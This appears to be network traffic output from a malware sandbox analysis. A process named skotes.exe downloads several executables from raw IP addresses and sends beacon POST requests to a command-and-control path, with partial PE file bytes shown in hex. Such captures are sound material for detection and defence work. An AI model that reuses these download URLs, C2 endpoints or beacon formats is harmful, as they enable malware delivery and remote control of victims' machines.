Nov 23, 2024 01:15:22.434730053 CET	1236	IN	Data Raw: 54 65 68 8b e4 85 de 32 cf 3f a9 91 d9 b6 ed 84 92 fe 43 ef 63 9d c2 e9 e7 0c 37 eb 8e 40 ac ba 3b 5e dc c7 ba 12 00 66 bd c0 4d 3d c3 a8 ae a7 d5 d7 6f 36 bd e3 46 64 0b b0 9d 1c 3f d1 b7 6e 1a 8c 4b 17 be f7 39 cb cb 34 a8 10 80 2e 96 00 d5 f9 Data Ascii: Teh2?Cc7@;^fM=o6Fd?nK94.Ss^YB2*Eapp_&Lh@:;H9&kDH32x&0z<O\|(4;'=<ZBS1a<aQNyA;4^p;'Ok
Nov 23, 2024 01:15:22.434745073 CET	1236	IN	Data Raw: e5 72 d2 c7 ce 58 5f c5 50 24 a4 62 ec 06 7d 5b 16 4f 20 b9 42 df 3a 3c 09 6c 9e 12 d6 34 bd 67 b1 17 49 a9 d8 41 50 fc f8 46 77 25 32 61 ac 60 5e 5f 01 e9 83 c2 64 84 10 41 93 a8 32 8b 72 69 b6 a4 ae 40 51 dc de bd 43 8d 9c 9e 5f 25 5d a9 a1 9a Data Ascii: rX_P$b}[O B:<l4gIAPFw%2a`^_dA2ri@QC_%]-zW"H-9o<oajCER X<.GF3*\|Y?pn3iEox/rq>M9{U@8^y,xy>oir
Nov 23, 2024 01:15:22.434760094 CET	1236	IN	Data Raw: 66 b0 d8 a9 0e 54 43 ee cb b7 a1 20 0f 5c c5 1e b1 e1 26 d2 e9 03 fc 72 d5 ea aa 46 6d 73 a1 d1 66 c9 b6 ee 9a 5c 4f dc bf 94 e1 cb 01 a2 23 23 2c 0f c7 9a 52 f5 a2 21 95 81 02 f6 24 54 f3 75 5d e6 e3 52 b3 1e 12 9c 7f 8d 7a 60 41 95 35 92 aa 18 Data Ascii: fTC \&rFmsf\O##,R!$Tu]Rz`A5=Yw&Ex3XvNX^XjyJncs:q_gBpK6q+.K%sZ. W, aTz,h;fas#F@{Hy,Ir>T%}X\|(
Nov 23, 2024 01:15:22.434777975 CET	1236	IN	Data Raw: ca bf 3d 19 75 6f cd be 19 1d de 0d b3 77 d9 dc 60 e6 17 e8 44 3b 06 e6 53 d8 20 d5 14 56 4f 38 26 fe 6c 11 5c d0 8d 0e 36 84 51 23 9d e1 84 dc de 67 dd 77 ae 60 d9 76 6e ca 68 c2 62 61 e1 76 e4 8a 95 b4 c3 60 2f 57 d0 11 94 d1 30 f4 3a 97 1b 61 Data Ascii: =uow`D;S VO8&l\6Q#gw`vnhbav`/W0:acnXmPOAAi[kzx+qMVZUMsj-C/>dNVQG]y,V}Msi@,%VAaMKu\|]a4n&'99yI]
Nov 23, 2024 01:15:22.435019016 CET	1236	IN	Data Raw: fb c4 e4 54 a4 42 d1 bb 0d c6 08 d8 cd a0 c6 7b 47 2d bf 44 07 1e 1e dc 47 9f 30 5f 8a b3 cc 50 5f 0c 37 a9 81 1f ed 36 a0 c8 db 24 b6 1e 3d 24 2f d1 8d c3 4b 95 f9 0e 98 0e a2 c4 1a 1d 89 19 28 89 36 c9 22 4e 90 44 9b 06 fc 76 ef 66 a7 f0 96 3d Data Ascii: TB{G-DG0_P_76$=$/K(6"NDvf=nk$ip{sh(:<(+K]xL%Py6$],x[F("SR}RiUiq\TfKxzLj<bT,
Nov 23, 2024 01:15:22.435034990 CET	829	IN	Data Raw: ba 6f 1e 07 e2 63 1e c8 6a 3b 18 0d 94 c4 d4 c1 38 af 08 d6 76 ea cb b4 80 4b d2 d9 26 eb 42 87 41 03 92 ab 66 72 10 06 52 9c ea a7 36 84 97 d7 e6 5c 0f 5a f1 5a 28 e0 45 a4 db ff 8b 4b b0 a3 17 b4 2a 5a f6 86 a9 49 f6 5c 1e 7c 3e 8e f0 26 4d 1d Data Ascii: ocj;8vK&BAfrR6\ZZ(EK*ZI\\|>&M#NvnTY%Gg<TVP(Y(v']}SE{Cm\QF39a}JTm<Ey]$B\|V&AU; Gca_0X.dbWAf,n;,H
Nov 23, 2024 01:15:22.554346085 CET	1236	IN	Data Raw: 22 77 89 a9 7c e2 e9 09 22 73 87 7b bc 56 fb cc 68 b2 96 29 3f 52 c8 17 d3 67 62 77 39 55 fc a9 2d 8c 2e 91 e9 47 d8 42 6c 48 e5 be 15 b1 a6 48 f6 9b ef 7a 70 38 28 b6 3e 4b 1c 0d 87 aa 56 1a 26 97 c3 cf e8 5f 46 b5 03 a3 82 d2 c8 d1 6b 2b d7 d9 Data Ascii: "w\|"s{Vh)?Rgbw9U-.GBlHHzp8(>KV&_Fk+j0!\&YZ!jP= >KZ!8(V?AzgJ[;D5i+VY6@Ox'RVx\|JPdhlAO(&XyHv;q"'7%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	50013	31.41.244.11	80	8224	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 01:15:22.077820063 CET	51	OUT	GET /files/lll.exe HTTP/1.1 Host: 31.41.244.11
Nov 23, 2024 01:15:23.414855003 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 00:15:23 GMT Content-Type: application/octet-stream Content-Length: 1875968 Last-Modified: Sat, 23 Nov 2024 00:00:50 GMT Connection: keep-alive ETag: "67411b32-1ca000" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c2 00 00 00 00 00 00 00 70 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 4a 00 00 04 00 00 5c dc 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELQ<?gpJ@J\@\pp `b@.rsrcpr@.idata t@ *v@lbasanxu`0x@inkucyiw`Jx@.taggant0pJ"~@
Nov 23, 2024 01:15:23.414932013 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 01:15:23.415047884 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 01:15:23.415061951 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 01:15:23.415162086 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 01:15:23.415262938 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 8S`7\|k\#9
Nov 23, 2024 01:15:23.415278912 CET	1236	IN	Data Raw: 9a 6c 78 b8 58 df 50 22 2c 4d 55 39 85 f6 16 96 9e ce 86 06 d9 50 24 7e fd 66 65 63 d0 84 b7 06 57 b8 5a a9 a1 33 1d f8 04 74 75 4b 5c 7b 7b b0 6a 31 f0 bc 6f 90 00 95 08 43 5a b8 07 f6 18 87 7f a9 59 d8 cd 66 14 00 34 40 da 18 fb 97 16 44 be da Data Ascii: lxXP",MU9P$~fecWZ3tuK\{{j1oCZYf4@DsY&Z{rw\|['z=m\|N!$&0ApR[T.?9{()i,JD\|JG9O}L~rX:;+0;z)*w?#z1bit$8zKSGoe
Nov 23, 2024 01:15:23.415294886 CET	1236	IN	Data Raw: 41 2f 87 f6 3c f1 c6 50 06 27 c9 35 70 f8 2f 94 04 24 44 54 37 9f 46 bc 18 9c 7d 14 7e 95 0d 3b 26 f6 4b 86 06 46 42 e8 d8 02 d6 fd 33 62 1b 7a 47 31 f7 92 e2 55 70 06 6d 87 a1 fe 96 40 fe 39 a5 bf 47 c0 9d 27 fb 11 82 55 17 3b d6 56 32 6f 1b 33 Data Ascii: A/<P'5p/$DT7F}~;&KFB3bzG1Upm@9G'U;V2o30IH\|[+}GjK~>)}0-;UUAs`4qtJ\N+s(8-.!e~2,~2+Bv>`<e0%*4v` 0^GxC
Nov 23, 2024 01:15:23.415334940 CET	1236	IN	Data Raw: 0e dc b3 ef 7d eb 2f 04 14 10 f3 35 d8 ff 22 04 1c 3e 40 a5 10 37 34 c3 db df b3 50 cb 59 08 a3 75 5a d0 0e 2d 49 7f d3 cb 04 1d 39 a2 c3 67 38 f2 0f 79 ec 8a 7d c7 c9 4e 7d fc b8 40 d1 89 25 19 87 e7 c9 bb ea 93 90 5f e0 d2 ac ca 50 32 6d ed 67 Data Ascii: }/5">@74PYuZ-I9g8y}N}@%_P2mgAjObi2_P'K0OZCOkF%XOpt`lfc?lM'_PE=0uYFTv@RQ4,;}D\|nePo7cf6gPl97<PI9CGX
Nov 23, 2024 01:15:23.415353060 CET	1236	IN	Data Raw: 79 24 0c 19 20 bd 5d 20 4d cc 83 e9 84 5a 87 00 57 86 39 f9 f4 94 24 79 b9 2f 17 3a 35 5b 56 34 f4 18 33 61 87 2b 42 7e 07 e4 00 03 17 87 95 bc 15 47 1a 4c 13 da 39 38 2b 4e b3 38 8d aa 27 0f ba 9f 28 67 3b 44 54 b4 3b 97 31 11 98 78 30 1b 42 66 Data Ascii: y$ ] MZW9$y/:5[V43a+B~GL98+N8'(g;DT;1x0Bft;Ha"$aD80HB-s?6v[[890\|N;HQ)L#vY8}D\|IJ#!ZWg(6_t#AA(+zIa9?9?
Nov 23, 2024 01:15:23.534677982 CET	1236	IN	Data Raw: e6 d5 c0 b5 17 f6 16 30 33 0f 1d a6 da 0b cc 17 23 53 94 29 54 da 08 3d 25 53 0e c8 c3 40 8d a4 1b 54 17 bc 4b e6 bb 60 d5 d5 fd f9 e3 40 04 7e a5 61 40 f3 0e ed 10 0a 94 46 b9 1a 0d 2d ef cb cb bf 6e cd e9 3f 0f 90 39 27 e8 b0 3a 61 30 d0 e0 14 Data Ascii: 03#S)T=%S@TK`@~a@F-n?9':a0(sz7<s@u+-^"Tb1\|0^{u3%^f)k/a3tM\|!14H6"]``?x6_E.s7M8b<5fL$Q"[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	50030	185.215.113.43	80	8224	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 01:15:29.259363890 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 33 30 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008303001&unit=246122658369
Nov 23, 2024 01:15:30.842535973 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 00:15:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	50039	185.215.113.16	80	8224	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 01:15:30.983202934 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 23, 2024 01:15:32.334602118 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 00:15:32 GMT Content-Type: application/octet-stream Content-Length: 1874432 Last-Modified: Fri, 22 Nov 2024 23:46:17 GMT Connection: keep-alive ETag: "674117c9-1c9a00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c2 00 00 00 00 00 00 00 60 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 4a 00 00 04 00 00 74 fb 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELQ<?g`J@Jt@\pp `b@.rsrcpr@.idata t@ *v@cmkobnziP0x@kevwmiqwPJt@.taggant0`J"x@
Nov 23, 2024 01:15:32.334664106 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 01:15:32.334673882 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 01:15:32.334685087 CET	372	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 01:15:32.334769011 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 01:15:32.334781885 CET	1236	IN	Data Raw: f4 24 e0 ef b3 4e ff 0a 3e 3d 94 4c f6 94 a9 bc a1 98 bd c1 2e c9 75 3e bc f1 05 3d de a7 c0 d6 9e bf ce 8e d2 79 bb b1 f7 93 27 b5 d8 f7 9f fa 9c a8 27 c9 0d d3 8c e6 27 dc c1 d6 58 a7 15 b0 13 3d ae c2 ff 19 cf ae 67 34 c6 91 51 60 98 0e 17 53 Data Ascii: $N>=L.u>=y'''X=g4Q`S+9MF8-KZ?,N8Nhcoa<;,!=&{-?jsRpYjp7i`ybp0U;H!=&_@YQ-WLo(UI*]\j
Nov 23, 2024 01:15:32.334791899 CET	1236	IN	Data Raw: 23 18 93 c8 b1 59 6b 02 d7 0b 0b 1c ab 5f 22 ca 83 db 53 43 a6 b7 37 20 93 65 21 e2 aa 4b 36 d3 40 d3 eb 0b f6 41 26 8f de 77 95 6f 3c 76 55 c1 0f d7 e0 54 d0 8f e4 16 14 0a 06 8d 0e b8 a7 0e da cb 81 c8 df a6 3d f5 e7 4b 34 4a ec a3 8a 48 f0 e9 Data Ascii: #Yk_"SC7 e!K6@A&wo<vUT=K4JHIUL< Z3s:~ 6$8 ZK3R/:s#!}M~]Xb)-JOJN2HpOS^hQd{'Hio[}8
Nov 23, 2024 01:15:32.334803104 CET	672	IN	Data Raw: 4f d3 8b cd 82 25 d7 f4 1b c6 c4 0d 8d 13 1c f0 44 19 63 54 51 86 7b f5 e6 a5 62 08 36 bb 20 4e d9 ec f1 b1 9e 0f 7c 5d d7 2c 0e ea b7 3d 34 1d 89 f8 2c 23 94 34 15 05 23 f9 49 04 44 d6 84 3c 68 4f 49 f7 8c ec b0 cc fa cf a2 7f e3 50 5c 36 33 1f Data Ascii: O%DcTQ{b6 N\|],=4,#4#ID<hOIP\63 -S\U:A87NwauIuIjpT}#A@xWt4MC&KLv="W3EHI;BK"i=v8G9<xE
Nov 23, 2024 01:15:32.334948063 CET	1236	IN	Data Raw: 8f b0 62 db 9a 83 ac c3 8a 6e a2 c7 73 c1 fc b9 73 cc 45 e8 a7 b0 c7 f2 35 70 76 e6 f5 56 92 34 f8 c5 99 e0 5e 78 eb 2d 9d fc bf a5 53 c0 19 83 d1 c0 95 db 38 19 20 6b a0 35 f9 d6 a3 49 fc f8 96 60 f0 e6 9e 50 01 ff e6 b4 34 87 b2 42 86 5f 68 db Data Ascii: bnssE5pvV4^x-S8 k5I`P4B_h5^l.7(\|@"^"BDkS7rt\"Pg7" 2: j<d#PpD1 vb:3;TL%CK^dF:$7W}<Q<DgeLyEVzSXz
Nov 23, 2024 01:15:32.334959984 CET	1236	IN	Data Raw: 71 08 97 04 a5 b6 79 cd ed 11 1c 49 da c4 26 be ba a0 45 75 36 a4 83 67 ef 31 fe aa 8c a8 03 c7 a7 26 b1 0e dd 2c 63 30 16 88 8c c7 fa fa 38 06 a4 47 26 b7 5e 78 bd ae 2b 95 f1 33 9e c3 c5 41 e2 df 24 af f3 c6 9e cd 8c 8b f2 94 d4 93 55 0e 58 13 Data Ascii: qyI&Eu6g1&,c08G&^x+3A$UX.M,&h/WFGdbD;Jhe8-B'37ZFwX@I"dygj22+3v:%:Ut4Yq8&uP7.YdM`(<cGQK
Nov 23, 2024 01:15:32.454176903 CET	1236	IN	Data Raw: 78 28 27 17 50 36 f5 b6 a0 eb 25 ab 95 89 d8 7f 67 ac 09 da 45 cb 24 03 16 75 f4 a5 4b 9f 54 99 c2 b3 7a 8c ff 64 60 d0 70 dc 99 08 e0 c6 96 1a ed ee 07 3e 50 d2 e4 2e 80 d4 cb f2 10 f0 39 21 70 8d 66 08 ca 5d 51 d2 d3 30 69 ec cc c4 c2 49 ea 2e Data Ascii: x('P6%gE$uKTzd`p>P.9!pf]Q0iI.<-u4;(>hY#c<JB3%mnC14sL>]'aNlVVVX4`qWlLd6I{6l5qb4ujV?Udq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	50059	185.215.113.43	80	8224	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 01:15:37.982748032 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 33 30 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008304001&unit=246122658369
Nov 23, 2024 01:15:39.413665056 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 00:15:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	50065	185.215.113.16	80	8224	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 01:15:39.807495117 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 23, 2024 01:15:41.202477932 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 00:15:40 GMT Content-Type: application/octet-stream Content-Length: 1769472 Last-Modified: Fri, 22 Nov 2024 23:46:24 GMT Connection: keep-alive ETag: "674117d0-1b0000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 b0 67 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 e0 67 00 00 04 00 00 47 1f [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g$g@gG@M$a$$ $b@.rsrc$r@.idata $t@ p)$v@vrtduuahp0Nbx@ggmsrgqsg@.taggant0g"@
Nov 23, 2024 01:15:41.202601910 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 01:15:41.202615023 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 01:15:41.202639103 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 01:15:41.202653885 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 01:15:41.202739000 CET	1236	IN	Data Raw: 99 8c 62 b4 d3 b4 84 8a 9b 95 28 0c cc 4a d3 b8 8f 1c 77 ef eb 56 16 e6 f3 7c 0a 8d f4 6c e8 82 e3 64 99 96 1b 7c 31 e9 61 64 9d f8 83 0c 63 e2 ec 7e b7 c3 e3 38 2c 67 3f 30 8c c8 3c 2f 17 d9 db 68 06 7a da 15 0f fa 3c 61 7b ea 91 b8 64 a0 02 6a Data Ascii: b(JwV\|ld\|1adc~8,g?0</hz<a{dj2hZQZ.g%K*{sQU"p63:?jhHL~\|9k8Y\'q$}\|XJcWfu\|o_G6h"kf1H!pkHe{<L$b>}F
Nov 23, 2024 01:15:41.202754021 CET	1236	IN	Data Raw: 1c f7 59 45 df 7b 7d da 67 00 d5 fd c3 66 3d fb a9 f9 73 39 a5 bf 4e 62 1d d7 af e2 7f b4 56 76 65 7d 0b 0e a1 17 49 66 85 68 50 f2 f8 6e c2 78 60 46 6a f8 77 bf 05 87 9f 2f e3 9e df c8 6c bd a3 ba f2 6b 8b 5a c6 70 10 24 2e 88 cf 70 14 20 93 25 Data Ascii: YE{}gf=s9NbVve}IfhPnx`Fjw/lkZp$.p %8&}a>(Q!uqDbU4nZjO\|;T\|*9n(jV\|E@i!#2cKV-6c$f~7ind;eDh;
Nov 23, 2024 01:15:41.202769041 CET	1236	IN	Data Raw: 46 57 e7 d4 a4 b2 60 51 e5 c8 0c 42 61 61 6f a9 83 64 d6 76 c0 fb 16 48 dc 0c 63 11 ea 53 fe 8c 23 83 2f 75 95 0c 8f b4 e9 38 5f a1 60 fb 15 fa d5 2d a7 76 ea 10 6d 4d 99 b2 03 45 9b 7c ee c2 d8 08 6d f5 98 6b 6a 50 d9 6a aa eb 17 c9 65 97 1e 5b Data Ascii: FW`QBaaodvHcS#/u8_`-vmME\|mkjPje[`nDr?nr+zI`u8@Bhg{`b_`9~R#d\|bZR\|QAb7~`Rf]q`Xkzu$Z*#_ njPc}MG{
Nov 23, 2024 01:15:41.202784061 CET	1236	IN	Data Raw: f2 9b 5f 98 fb 40 60 93 43 e7 1c 87 ae 5c 1e e7 d5 94 76 a5 84 a2 6e b3 fb 84 60 b3 97 5c 0e b3 d5 7a 72 f6 1c 54 60 b3 73 5c 5e b3 f9 00 62 14 a5 dc 0c ea 47 63 7e f9 2e fa 32 e5 d5 5d 0e e7 db d4 13 36 e7 c3 ff 66 2c 6e 6f dd 1c 28 d5 62 43 e0 Data Ascii: _@`C\vn`\zrT`s\^bGc~.2]6f,no(bC2A\f!m}]DVRn"S;.Rd\|P^cwycy\|a;c9Swdz{]Wtz.s]Dbtky>1`%VGdnn^9(X`
